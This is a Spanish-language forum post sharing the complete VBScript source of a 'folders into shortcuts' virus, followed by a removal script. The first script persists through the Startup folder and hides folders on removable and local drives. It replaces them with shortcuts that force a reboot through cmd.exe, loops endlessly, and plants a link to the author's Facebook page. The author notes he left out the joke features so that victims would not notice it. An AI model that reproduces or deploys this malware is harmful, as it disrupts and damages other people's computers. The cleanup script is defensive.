Hola a todos, aki les dejo mi version del famoso virus que convierte las carpetas en acceso directo, intente poner varias cosas que fueran graciosas, pero no las puse al final porque no pasaria desapercibido al usuario que es un virus. Aqui les dejo el codigo y abajo el codigo de como desinfectarte, recuerden que deben cerrar el proceso
wscript.exe para que deje de hacer efecto, porque si no seguira eternamente hasta que apaguen la PC y tambien deben borrarlo de la carpeta INICIO porque si no se ejecuta desde que la PC inicia sesion.
codigo # 1: Script
' Archivo Creado por Danny Paula Gmez.
' Uso Publico siempre y cuando no Modifiquen estas lineas en agradecimiento.
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim installname, url, desktop, startup, argumentos
argumentos = "/c shutdown -r -t " & "10"
startup = objshell.specialfolders ("startup") & "\"
installname = wscript.scriptname
while true
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
folder.attributes = 1+2+4
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each folder in objfso.getfolder (d.path & "\").subfolders
for each folder in objfso.getfolder (d.path & "\").subfolders
foldername = folder.name
copia = objfso.copyfile (wscript.scriptfullname, startup, true)
set lnkobj = objshell.createshortcut (d.path & "\" & foldername & ".lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = argumentos
foldericon = "explorer.exe, 0"
lnkobj.save()
Next
for each file in objfso.getfolder(d.path & "\").files
if objfso.fileexists (d.path & "\" & installname) then
objfso.getfile(d.path & "\" & installname).attributes = 2+4
end if
Next
end if
end if
end if
desktop = objshell.specialfolders("desktop")
Set url = objshell.createshortcut( desktop & "\f a c e b o o k .url")
url.targetpath = "
www.facebook.com/danny920825"url.save
Next
wend
' Agradezco a ||MadAntrax|| por su ayuda
' Y al staff de foro.elhacker.net donde he aprendido lo poco que se.
' Correo:
danny920825@gmail.com ' facebook: danny920825
' .::Este proyecto fue realizado con fines educativos, no
' me hago responsable del uso quese le de al mismo ::.
Codigo # 2 :Anti-Script
on error resume next
set objfso = createobject("Scripting.FileSystemObject")
set objshell = createobject("wscript.shell")
Set dc = objfso.Drives
dim del, reverse, url, desktop, borrar
For Each d in dc
if d.Isready then
if d.drivetype = 1 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & foldername & ".lnk" )
Next
end if
end if
end if
Next
For Each d in dc
if d.Isready then
if d.drivetype = 3 then
if d.freespace > 0 then
for each file in objfso.getfolder (d.path & "\").files
file.attributes = 0
Next
for each folder in objfso.getfolder(d.path & "\").subfolders
foldername = folder.name
reverse = StrReverse(foldername)
folder.attributes = 0
del = objfso.deletefile(d.path & "\" & reverse & ".lnk" )
Next
end if
end if
end if
desktop = objshell.specialfolders("Desktop")
borrar = objfso.deletefile( desktop & "\f a c e b o o k .url")
Next
PD: Utilizo citas y no codigos porque al parecer tengo algo en el navegador mareado y me sale todo como codigo desde el inicio, me disculpo si les dificulta interpretar el codigo. Diganme si les gusta y por favor, si alguien sabe sobre algun manual que hable sobre los demas objetos y los usos que se les puede dar, que me lo diga. Saludos